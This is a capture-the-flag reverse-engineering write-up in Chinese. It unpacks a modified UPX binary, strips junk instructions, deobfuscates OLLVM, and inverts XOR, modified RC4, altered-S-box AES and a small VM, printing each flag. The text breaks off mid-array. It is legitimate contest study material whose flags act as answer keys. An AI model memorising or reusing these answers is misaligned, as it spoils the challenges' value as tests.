--by Anping
Re
先来一道签到题
AT&T 语法,还是不是常见的Intel 语法,没办法直接看吧
很明显,flag在这里
异或操作,奇5偶7
enc = list("TTDv^jrZu`Gg6tXfi+pZojpZSjXmbqbmt.&x")
flag = ''
for idx, ch in enumerate(enc):
if idx % 2 == 0:
flag += chr(ord(ch) ^ 7)
else:
flag += chr(ord(ch) + 5)
print(flag)
SYC{You_re@l1y_kn0w_how_To_revers3!}
Hello_re
变异UPX壳,修改特征值即可


加密函数
破解脚本
input = [0,1,2,52,3,96,47,28,107,15,9,24,45,62,60,2,17,123,39,58,41,48,96,26,8,52,63,100,33,106,122,48]
key = list('SYCLOVERA')
c = ''
for idx, i in enumerate(input): # 使用 enumerate 获取索引和值
c += chr(idx ^ i ^ ord(key[idx % 8]))
print(c)
print(len(c))
SYC{H3lI0@new_R3vers3_Ctf3r!!}
也许你也听jay
分析算法,解密
#include <stdio.h>
int main() {
char URL[46];
char chstr1[46];
strcpy(chstr1, URL);
char chstr2[] = {0x96, 0xa1, 0xa0, 0x9b, 0x9b, 0x5f, 0x49, 0x46, 0x85, 0x82, 0x53, 0x95, 0x7d, 0x36, 0x8d, 0x74, 0x82, 0x88, 0x46, 0x7a, 0x81, 0x65, 0x80, 0x6c, 0x78, 0x2f, 0x6b, 0x6a, 0x27, 0x50, 0x61, 0x38, 0x3f, 0x37, 0x33, 0xf1, 0x27, 0x32, 0x34, 0x1f, 0x39, 0x23, 0xde, 0x1c, 0x17, 0xd4};
int inta1[] = {0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F, 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D};
int intb2[] = {0x5D, 0x5C, 0x5B, 0x5A, 0x59, 0x58, 0x57, 0x56, 0x55, 0x54, 0x53, 0x52, 0x51, 0x50, 0x4F, 0x4E, 0x4D, 0x4C, 0x4B, 0x4A, 0x49, 0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41, 0x40, 0x3F, 0x3E, 0x3D, 0x3C, 0x3B, 0x3A, 0x39, 0x38, 0x37, 0x36, 0x35, 0x34, 0x33, 0x32, 0x31, 0x30, 0x2F, 0x2E, 0x2D, 0x2C, 0x2B, 0x2A, 0x29, 0x28, 0x27, 0x26, 0x25, 0x24, 0x23, 0x22, 0x21, 0x20, 0x1F, 0x1E, 0x1D, 0x1C, 0x1B, 0x1A, 0x19, 0x18, 0x17, 0x16, 0x15, 0x14, 0x13, 0x12, 0x11, 0x10, 0x0F, 0x0E, 0x0D, 0x0C, 0x0B, 0x0A, 0x09, 0x08, 0x07, 0x06, 0x05, 0x04, 0x03, 0x02, 0x01};
int intc3[]={0x65, 0x64, 0x63, 0x62, 0x61, 0x60, 0x5F, 0x5E, 0x5D, 0x5C, 0x5B, 0x5A, 0x59, 0x58, 0x57, 0x56, 0x55, 0x54, 0x53, 0x52, 0x51, 0x50, 0x4F, 0x4E, 0x4D, 0x4C, 0x4B, 0x4A, 0x49, 0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41, 0x40, 0x3F, 0x3E, 0x3D, 0x3C, 0x3B, 0x3A, 0x39, 0x38, 0x37, 0x36, 0x35, 0x34, 0x33, 0x00, 0x31, 0x30, 0x2F};
int len = 46;
for(int i = 0; i < len; i++) {
intc3[i] ^= intb2[i+1];
intc3[i] -= inta1[i];
inta1[i]^=intc3[51];
chstr2[i] -= intb2[i];
chstr2[i] += inta1[47 + i];
chstr2[i] ^= inta1[i];
}
printf("%s", &chstr2);
return 0;
}
简单RC4

让我康康你的调试
rc4特征
动调一下,key=syclover,enc=945B7D04C9027AA6390798BC0D68F97E08BDBF9816F804715F1586B69884DB616D


别忘了还有个异或14

CPP_flower
两种典型花指令jz\jnz,call&ret
去除后

这函数怪怪的,没办法只能猜。这里很明显用了个随机数,后面多次尝试发现是随机数%255和输入异或。
解密脚本
#include <stdio.h>
#include <stdlib.h>
int main() {
srand(0x7DE9);
unsigned int enc[50] = {0x0000003E, 0x00000098, 0x000000EB, 0x00000026, 0x00000025, 0x0000008E, 0x00000025, 0x000000E5,
0x00000086, 0x000000C8, 0x0000003F, 0x00000098, 0x000000C8, 0x000000DE, 0x00000052, 0x00000044,
0x000000A0, 0x000000CB, 0x0000002B, 0x0000002A, 0x0000003C, 0x000000AA, 0x000000BE, 0x000000CB,
0x00000088, 0x00000055, 0x0000009E, 0x0000006D, 0x000000D9, 0x00000094, 0x00000097, 0x0000001C,
0x00000052, 0x00000031, 0x00000059, 0x000000FE, 0x0000001A, 0x0000001A, 0x000000E8, 0x000000D0,
0x0000003A, 0x0000009C, 0x00000006, 0x0000005E, 0x00000025, 0x0000005A, 0x000000E4, 0x00000022,
0x000000A1, 0x000000C5};
char flag[51] = {0};
for (int i = 0; i < 50; ++i) {
flag[i] = (char)(enc[i] ^ (rand() % 255));
}
printf("flag为: %s\n", flag);
}
//SYC{Y0u_c@n_3nJoy_yhe_Flow3r_anytime_and_anywhere}
长颈鹿喜欢吃彩虹
ollvm混淆
利用插件去混淆后

逻辑很简单,动调得data、key
key = BOb0m0oN
data = [0x1D, 0x36, 0x73, 0x16, 0x49, 0x2D, 0x1A, 0x1D, 0x29, 0x06,
0x42, 0x2C, 0x76, 0x07, 0x10, 0x0E, 0x7E, 0x39, 0x55, 0x32,
0x75, 0x03, 0x1B, 0x1D, 0x19, 0x5F, 0x52, 0x23, 0x01, 0x03,
0x1D, 0x3F]
关键在于加密函数encrypt,不知道为什么插件去混淆不彻底

没办法,丢给ai看看

与密钥循环异或,解密脚本
key = list('BOb0m0oN')
enc = [0x1D, 0x36, 0x73, 0x16, 0x49, 0x2D, 0x1A, 0x1D, 0x29, 0x06,
0x42, 0x2C, 0x76, 0x07, 0x10, 0x0E, 0x7E, 0x39, 0x55, 0x32,
0x75, 0x03, 0x1B, 0x1D, 0x19, 0x5F, 0x52, 0x23, 0x01, 0x03,
0x1D, 0x3F][::-1]
flag = ''
for index, i in enumerate(enc):
flag += chr(i ^ ord(key[index % len(key)]))
print(flag[::-1])
得SYC{yOU_girAFe_L0Ve_EaT_W0bN1aR}
奇怪的RC4
脚本简单处理

python版本错误,利用pyenv修改下版本。
pycdc -d .\easy_xor_and_rc4.pyc
# Source Generated with Decompyle++
# File: easy_xor_and_rc4.pyc (Python 3.8)
Warning: block stack is not empty!
from Rc4 import *
def xor1(plaintext, xor_list):
Warning: block stack is not empty!
try:
xor_list = (lambda .0: [ ord(i) for i in .0 ])(xor_list)
finally:
pass
try:
plaintext = (lambda .0: [ ord(i) for i in .0 ])(plaintext)
finally:
pass
for i in range(len(plaintext)):
plaintext[i] ^= xor_list[i]
return plaintext
def xor2(plaintext):
Warning: block stack is not empty!
try:
plaintext = (lambda .0: [ ord(i) for i in .0 ])(plaintext)
finally:
pass
for i in range(len(plaintext) - 1):
plaintext[i + 1] = plaintext[i] ^ plaintext[i + 1]
return plaintext
def enc(plaintext, key, xor_list):
plaintext = rc4(plaintext, key)
plaintext = xor1(plaintext, xor_list)
plaintext = xor2(plaintext)
return plaintext
plaintext = input('please give your input:')
key = 'SYCFOREVER'
xor_list = list(range(len(plaintext)))
cipher = [
158,
31,
205,
434,
354,
15,
383,
298,
304,
351,
465,
312,
261,
442,
397,
474,
310,
397,
31,
21,
78,
67,
47,
133,
168,
48,
153,
99,
103,
204,
137,
29,
22,
13,
228,
3,
136,
141,
248,
124,
26,
26,
65,
200,
7]
plaintext = enc(plaintext, key, xor_list)
for i in range(len(cipher)):
if cipher[i] != plaintext[i]:
print('Wrong')
exit(1)
continue
print('You know the flag!!')
return None
逻辑为解密cipher,经过xor2后,xor1,再rc4.其中rc4经过测试,发现为魔改rc4.
pycdc -d .\Rc4.pyc
# Source Generated with Decompyle++
# File: Rc4.pyc (Python 3.8)
def KSA(key):
j = 0
S = list(range(256))
key_length = len(key)
for i in range(256):
j = (j + S[i] + key[i % key_length]) % 256
S[i] = S[j]
S[j] = S[i]
return S
def PRGA(S):
i = 0
j = 0
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i] = S[j]
S[j] = S[i]
k = (S[i] + S[j]) % 256
yield k
continue
def rc4(plaintext, key):
Warning: block stack is not empty!
try:
key = (lambda .0: [ ord(i) for i in .0 ])(key)
finally:
pass
try:
plaintext = (lambda .0: [ ord(i) for i in .0 ])(plaintext)
finally:
pass
for i in range(len(plaintext)):
plaintext[i] += i
S = KSA(key)
xor_value = PRGA(S)
for i in range(len(plaintext)):
plaintext[i] ^= int(next(xor_value)) + 6
return plaintext
解密脚本
enc = [
158,
31,
205,
434,
354,
15,
383,
298,
304,
351,
465,
312,
261,
442,
397,
474,
310,
397,
31,
21,
78,
67,
47,
133,
168,
48,
153,
99,
103,
204,
137,
29,
22,
13,
228,
3,
136,
141,
248,
124,
26,
26,
65,
200,
7]
key = list('SYCFOREVER')
xor_list = list(range(len(enc)))
for i in range(len(enc)-2,-1,-1):
enc[i+1] ^= enc[i]
for i in range(len(enc)):
enc[i] ^= xor_list[i]
def KSA(key):
j = 0
S = list(range(256))
key_length = len(key)
for i in range(256):
j = (j + S[i] + key[i % key_length]) % 256
S[i], S[j] = S[j], S[i]
return S
def PRGA(S):
i = 0
j = 0
while True:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = (S[i] + S[j]) % 256
yield k
def rc4(plaintext, key):
key = [ord(i) for i in key]
S = KSA(key)
xor_value = PRGA(S)
for i in range(len(plaintext)):
plaintext[i] ^= int(next(xor_value)) + 6
for i in range(len(plaintext)):
plaintext[i] -= i
return plaintext
data = rc4(enc, key)
print(data)
flag = ''
for i in data:
flag += chr(i)
print(flag)
得SYC{Bel1eve_thAt_you_a3e_Unique_@nd_tHe_beSt}
AES!
标准AES换了S盒,直接上脚本
"""
Python 实现 AES-128 ECB 模式加/解密
"""
# AES S-box(256个字节,采用一维列表,索引值即输入字节)
S_BOX = [0x7C, 0xCA, 0x7B, 0x77, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0x47, 0xAB, 0x76, 0x63, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0x97, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16, 0x87]
# AES逆S盒(inv_s_box):
INV_S_BOX = [
0x52, 0x9, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38,
0xbf, 0x40, 0xa3, 0x9e, 0x82, 0xf2, 0xd7, 0xfa,
0x7c, 0xe3, 0x39, 0x83, 0x9b, 0x2f, 0xfe, 0x87,
0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb,
0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d,
0xed, 0x4c, 0x95, 0xb, 0x42, 0xf9, 0xc3, 0x4e,
0x8, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2,
0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25,
0x72, 0xf7, 0xf5, 0x64, 0x86, 0x68, 0x98, 0xe,
0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92,
0x6c, 0x70, 0x48, 0x50, 0xfc, 0xec, 0xb9, 0xda,
0x5e, 0x16, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x85,
0x90, 0xd8, 0xab, 0x11, 0x8c, 0xbc, 0xd3, 0xa,
0xf6, 0xe4, 0x58, 0x5, 0xb8, 0xb3, 0x45, 0x6,
0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x10, 0x3,
0xc1, 0xaf, 0xbd, 0x2, 0x0, 0x14, 0x8a, 0x6b,
0x3a, 0x91, 0x12, 0x41, 0x4f, 0x67, 0xdc, 0xff,
0x97, 0xf1, 0xcf, 0xce, 0xef, 0xb4, 0xe6, 0x73,
0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x80,
0xe2, 0xf8, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e,
0x47, 0xf0, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89,
0x6f, 0xb7, 0x62, 0xf, 0xaa, 0x18, 0xbe, 0x1b,
0xfb, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20,
0x9a, 0xdb, 0xc0, 0xfd, 0x78, 0xcd, 0x5a, 0xf3,
0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x7, 0xc7, 0x31,
0xb1, 0x13, 0x1, 0x59, 0x27, 0x81, 0xeb, 0x5f,
0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0xd,
0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xee,
0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf4, 0xb0,
0xc8, 0xea, 0xbb, 0x3c, 0x84, 0x53, 0x99, 0x61,
0x17, 0x2b, 0x4, 0x7e, 0xba, 0x77, 0xd6, 0x26,
0xe1, 0x69, 0x15, 0x63, 0x55, 0x21, 0xc, 0x7d
]
# Rcon常量(AES-128需要10个轮常量,0x00占位)
RCON = [0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36]
# --- 辅助函数 ---
def xtime(a):
# GF(2^8)中乘2
a = a << 1
if a & 0x100:
a ^= 0x11B
return a & 0xFF
def gmul(a, b):
p = 0
for i in range(8):
if b & 1:
p ^= a
hi_bit = a & 0x80
a = (a << 1) & 0xFF
if hi_bit:
a ^= 0x1b
b >>= 1
return p
# --- AES基本变换 ---
def sub_bytes(state):
return [S_BOX[b] for b in state]
def inv_sub_bytes(state):
return [INV_S_BOX[b] for b in state]
#行移位
def shift_rows(state):
# state以列为单位存储(共16字节,4x4矩阵,每4字节为一列)
new_state = state[:] # 复制
# 行0不变:索引 0,4,8,12
# 行1:索引 1,5,9,13左移1位
new_state[1], new_state[5], new_state[9], new_state[13] = state[5], state[9], state[13], state[1]
# 行2:索引 2,6,10,14左移2位
new_state[2], new_state[6], new_state[10], new_state[14] = state[10], state[14], state[2], state[6]
# 行3:索引 3,7,11,15左移3位
new_state[3], new_state[7], new_state[11], new_state[15] = state[15], state[3], state[7], state[11]
return new_state
def inv_shift_rows(state):
new_state = state[:]
# 行0不变
new_state[1], new_state[5], new_state[9], new_state[13] = state[13], state[1], state[5], state[9]
new_state[2], new_state[6], new_state[10], new_state[14] = state[10], state[14], state[2], state[6] # 同行2左右移2相同
new_state[3], new_state[7], new_state[11], new_state[15] = state[7], state[11], state[15], state[3]
return new_state
#列混合
def mix_single_column(col):
a0, a1, a2, a3 = col
r0 = gmul(a0, 2) ^ gmul(a1, 3) ^ a2 ^ a3
r1 = a0 ^ gmul(a1, 2) ^ gmul(a2, 3) ^ a3
r2 = a0 ^ a1 ^ gmul(a2, 2) ^ gmul(a3, 3)
r3 = gmul(a0, 3) ^ a1 ^ a2 ^ gmul(a3, 2)
return [r0, r1, r2, r3]
def mix_columns(state):
new_state = state[:]
for c in range(4):
col = new_state[c*4:(c+1)*4]
new_state[c*4:(c+1)*4] = mix_single_column(col)
return new_state
def inv_mix_single_column(col):
a0, a1, a2, a3 = col
r0 = gmul(a0, 0x0e) ^ gmul(a1, 0x0b) ^ gmul(a2, 0x0d) ^ gmul(a3, 0x09)
r1 = gmul(a0, 0x09) ^ gmul(a1, 0x0e) ^ gmul(a2, 0x0b) ^ gmul(a3, 0x0d)
r2 = gmul(a0, 0x0d) ^ gmul(a1, 0x09) ^ gmul(a2, 0x0e) ^ gmul(a3, 0x0b)
r3 = gmul(a0, 0x0b) ^ gmul(a1, 0x0d) ^ gmul(a2, 0x09) ^ gmul(a3, 0x0e)
return [r0, r1, r2, r3]
def inv_mix_columns(state):
new_state = state[:]
for c in range(4):
col = new_state[c*4:(c+1)*4]
new_state[c*4:(c+1)*4] = inv_mix_single_column(col)
return new_state
#密钥加
def add_round_key(state, round_key):
return [b ^ k for b, k in zip(state, round_key)]
# --- 关键字扩展 ---
def rot_word(word):
# 将 32 位字左移 8 位(即循环移位一个字节)
return ((word << 8) & 0xffffffff) | (word >> 24)
def sub_word(word):
# 对 word 的每个字节做 S-box 代换
return ((S_BOX[(word >> 24) & 0xFF] << 24) |
(S_BOX[(word >> 16) & 0xFF] << 16) |
(S_BOX[(word >> 8) & 0xFF] << 8) |
(S_BOX[word & 0xFF]))
def key_expansion(key_bytes):
# key_bytes:长度16的字节序列(AES-128)
Nk = 4
Nb = 4
Nr = 10
# 将16字节分成4个32位字
w = [0] * (Nb * (Nr + 1))
for i in range(Nk):
w[i] = (key_bytes[4*i] << 24) | (key_bytes[4*i+1] << 16) | (key_bytes[4*i+2] << 8) | key_bytes[4*i+3]
for i in range(Nk, Nb * (Nr + 1)):
temp = w[i - 1]
if i % Nk == 0:
temp = sub_word(rot_word(temp)) ^ (RCON[i // Nk] << 24)
w[i] = w[i - Nk] ^ temp
# 将扩展后的字转换为轮密钥,每个轮密钥16字节(4个字)
round_keys = []
for i in range(0, len(w), 4):
round_key = []
for j in range(4):
word = w[i + j]
round_key.extend([(word >> 24) & 0xFF, (word >> 16) & 0xFF, (word >> 8) & 0xFF, word & 0xFF])
round_keys.append(round_key)
return round_keys
# --- AES加密/解密单块(16字节) ---
def aes_encrypt_block(plaintext, round_keys):
# plaintext:16字节 bytes
state = list(plaintext)
state = add_round_key(state, round_keys[0])
for r in range(1, 10):
state = sub_bytes(state)
state = shift_rows(state)
state = mix_columns(state)
state = add_round_key(state, round_keys[r])
# 最后一轮不做 MixColumns
state = sub_bytes(state)
state = shift_rows(state)
state = add_round_key(state, round_keys[10])
return bytes(state)
def aes_decrypt_block(ciphertext, round_keys):
state = list(ciphertext)
state = add_round_key(state, round_keys[10])
for r in range(9, 0, -1):
state = inv_shift_rows(state)
state = inv_sub_bytes(state)
state = add_round_key(state, round_keys[r])
state = inv_mix_columns(state)
state = inv_shift_rows(state)
state = inv_sub_bytes(state)
state = add_round_key(state, round_keys[0])
return bytes(state)
# --- 分组加解密(ECB模式,无填充,仅处理16字节整数倍的数据) ---
def aes_encrypt_ecb(data, key):
"""
data: bytes,长度必须为16的倍数
key: 16字节 bytes(AES-128)
"""
if len(data) % 16 != 0:
raise ValueError("明文长度必须为16的倍数(本示例不包含填充)")
round_keys = key_expansion(key)
ciphertext = b''
for i in range(0, len(data), 16):
block = data[i:i+16]
ciphertext += aes_encrypt_block(block, round_keys)
return ciphertext
def aes_decrypt_ecb(data, key):
if len(data) % 16 != 0:
raise ValueError("密文长度必须为16的倍数")
round_keys = key_expansion(key)
plaintext = b''
for i in range(0, len(data), 16):
block = data[i:i+16]
plaintext += aes_decrypt_block(block, round_keys)
return plaintext
if __name__ == '__main__':
# 给定密文数据,使用列表表示
enc = [0x99, 0xE8, 0xB8, 0x01, 0xC8, 0x82, 0x51, 0x93,
0x12, 0xEE, 0x89, 0x64, 0xE7, 0xEF, 0x63, 0x8D,
0x51, 0xDF, 0x5D, 0x78, 0x39, 0xAA, 0x39, 0x62,
0xA0, 0xB4, 0x50, 0x30, 0x47, 0x30, 0x21, 0x06]
flag = b''
key = b'SYCLOVERSYCLOVER'
enc_bytes = bytes(enc)
flag += aes_decrypt_ecb(enc_bytes[:16], key)
flag += aes_decrypt_ecb(enc_bytes[16:], key)
print("解密后的 flag:", flag)
#解密后的 flag: b'SYC{B3l1eue_Th@t_y0u__l3aRn_Aes}'
baby_vm
vm逆向,先创建个结构体

_ip是很容易看出来的, _sp一开始没看出来,但是没关系可以先用个R占位,同样r中的r[4]其实是zf标志位,这里没有改了。
之后看执行部分

写个翻译脚本
#include <stdio.h>
int main(){
int r[8] = {};
int _sp = 0;
int _ip = 0;
unsigned int opcodelist[60] = {
0x00000046, 0x0000003F, 0x00000000, 0x0000003C, 0x0000003F, 0x00000019, 0x0000003D, 0x0000003A,
0x0000003E, 0x0000003F, 0x00000053, 0x00000033, 0x00000038, 0x0000003F, 0x00000059, 0x0000003E,
0x00000039, 0x00000034, 0x0000003E, 0x0000003F, 0x00000043, 0x00000037, 0x00000038, 0x00000040,
0x00000042, 0x0000003C, 0x0000003F, 0x00000063, 0x0000003E, 0x0000003A, 0x00000037, 0x0000003E,
0x0000003F, 0x00000079, 0x00000033, 0x00000038, 0x0000003F, 0x00000073, 0x0000003E, 0x00000039,
0x00000034, 0x00000038, 0x00000040, 0x00000042, 0x0000003C, 0x00000043, 0x00000026, 0x0000003F,
0x00000031, 0x0000003C, 0x0000003F, 0x00000032, 0x0000003D, 0x00000041, 0x0000003E, 0x00000039,
0x00000044, 0x00000043, 0x00000004, 0x000000FF
};
int opcode = {};
while ( 2 ){
opcode = opcodelist[_ip];
if ( opcode <= 70 ){
if ( opcode >= 51 ){
switch ( opcode ){
case '3':
printf("%d : ", _ip);
printf("r[0] += r[3]\n");
_ip++;
continue;
case '4':
printf("%d : ", _ip);
printf("r[0] -= r[3]\n");
_ip++;
continue;
case '5':
printf("%d : ", _ip);
printf("r[0] *= r[3]\n");
_ip++;
continue;
case '6':
printf("%d : ", _ip);
printf("r[0] /= r[3]\n");
_ip++;
continue;
case '7':
printf("%d : ", _ip);
printf("r[0] = ~(r[0] & r[3]) & ~(~r[3] & ~r[0])\n");
_ip++;
continue;
case '8':
printf("%d : ", _ip);
printf("v2 = r[0]\n");
printf("_sp += 1\n");
printf("stack[_sp] = v2\n");
_ip++;
continue;
case '9':
printf("%d : ", _ip);
printf("r[0] = stack[--_sp]\n");
_ip++;
continue;
case ':':
printf("%d : ", _ip);
printf("r[0] = Str[r[1]]\n");
_ip++;
continue;
case ';':
printf("%d : ", _ip);
printf("r[0] = r[3]\n");
_ip++;
continue;
case '<':
printf("%d : ", _ip);
printf("r[1] = r[0]\n");
_ip++;
continue;
case '=':
printf("%d : ", _ip);
printf("r[2] = r[0]\n");
_ip++;
continue;
case '>':
printf("%d : ", _ip);
printf("r[3] = r[0]\n");
_ip++;
continue;
case '?':
printf("%d : ", _ip);
printf("r[0] = %d\n", opcodelist[_ip + 1]);
_ip += 2;
continue;
case '@':
printf("%d : ", _ip);
printf("r[0] = r[1]\n");
_ip++;
continue;
case 'A':
printf("%d : ", _ip);
printf("r[0] = enc[r[1]]\n");
_ip++;
continue;
case 'B':
printf("%d : ", _ip);
printf("r[0] += 1\n");
_ip++;
continue;
case 'C':
printf("%d : ", _ip);
printf("jz? %d\n", opcodelist[_ip + 1]); //有点疑问
_ip +=2;
continue;
case 'D':
printf("%d : ", _ip);
printf("if r[0] != r[3] : r[4]=1 r[1]--\n");
_ip++;
continue;
case 'E':
printf("%d : ", _ip);
printf("r[0] = %d\n", opcodelist[_ip +1]);
_ip += 2;
continue;
case 'F':
printf("%d : ", _ip);
printf("Stream = (FILE *)psub_140005A90(0i64);\n");
printf("fgets(Str, 51, Stream);\n");
printf("Str[strcspn(Str, /n)] = 0;\n");
_ip++;
continue;
default:
return printf("Unknown opcode: %d\n", (unsigned int)opcode);
}
}
return printf("Unknown opcode: %d\n", (unsigned int)opcode);
}
break;
}
}
结果分析
0 : Stream = (FILE *)psub_140005A90(0i64);
fgets(Str, 51, Stream);
Str[strcspn(Str, /n)] = 0;
//
读取Str[]
//
1 : r[0] = 0
3 : r[1] = r[0]
4 : r[0] = 25
6 : r[2] = r[0]
//
r[1] = 0 r[2] = 25
//
7 : r[0] = Str[r[1]]
8 : r[3] = r[0]
9 : r[0] = 83
11 : r[0] += r[3]
12 : v2 = r[0]
_sp += 1
stack[_sp] = v2
13 : r[0] = 89
15 : r[3] = r[0]
16 : r[0] = stack[--_sp]
17 : r[0] -= r[3]
//
push Str[0] + 83 -89
//
18 : r[3] = r[0]
19 : r[0] = 67
21 : r[0] = ~(67 & r[3]) & ~(~r[3] & ~67) //等价于异或操作
22 : v2 = r[0]
_sp += 1
stack[_sp] = v2
//
push (Str[0] +83 - 89) ^ 67 #83=S 89=Y 67=C
//
23 : r[0] = r[1]
24 : r[0] += 1
25 : r[1] = r[0]
// r[1] = 1
26 : r[0] = 99
28 : r[3] = r[0]
29 : r[0] = Str[r[1]]
30 : r[0] = ~(r[0] & r[3]) & ~(~r[3] & ~r[0])
//
Str[1] ^ 99
//
31 : r[3] = r[0]
32 : r[0] = 121
34 : r[0] += r[3]
35 : v2 = r[0]
_sp += 1
stack[_sp] = v2
//
push (Str[1] ^ 99) + 121 #99=c 121=y 115=s
//
36 : r[0] = 115
38 : r[3] = r[0]
39 : r[0] = stack[--_sp]
40 : r[0] -= r[3]
41 : v2 = r[0]
_sp += 1
stack[_sp] = v2
//
push (Str[1] ^ 99) + 121 - 115
//
42 : r[0] = r[1]
43 : r[0] += 1
44 : r[1] = r[0]
// r[1]=2 处理下一位
45 : jz? 38 //?
47 : r[0] = 49
49 : r[1] = r[0]
50 : r[0] = 50
52 : r[2] = r[0]
53 : r[0] = enc[r[1]]
54 : r[3] = r[0]
55 : r[0] = stack[--_sp]
56 : if r[0] != r[3] : r[4]=1 r[1]--
//
cmp enc[49],Str[50] 其实就是比较
//
57 : jz? 4
有些地方逻辑不是很清晰,但是不影响解题。
加密为
奇数位:enc[1] = (Str[1] ^ 99) + 121 - 115
偶数位:enc[0] = (Str[0] +83 - 89) ^ 67
加密逻辑简单,写个解密脚本
#include <stdio.h>
int main() {
unsigned char enc[64] = {
0x0E, 0x40, 0x7E, 0x1E, 0x13, 0x34, 0x1A, 0x17, 0x6E, 0x1B, 0x1C, 0x17, 0x2E, 0x0C, 0x1A, 0x30,
0x69, 0x32, 0x26, 0x16, 0x1A, 0x15, 0x25, 0x0E, 0x1C, 0x42, 0x30, 0x32, 0x0B, 0x42, 0x79, 0x17,
0x6E, 0x42, 0x29, 0x17, 0x6E, 0x5A, 0x2D, 0x20, 0x1A, 0x16, 0x26, 0x10, 0x05, 0x15, 0x6E, 0x0D,
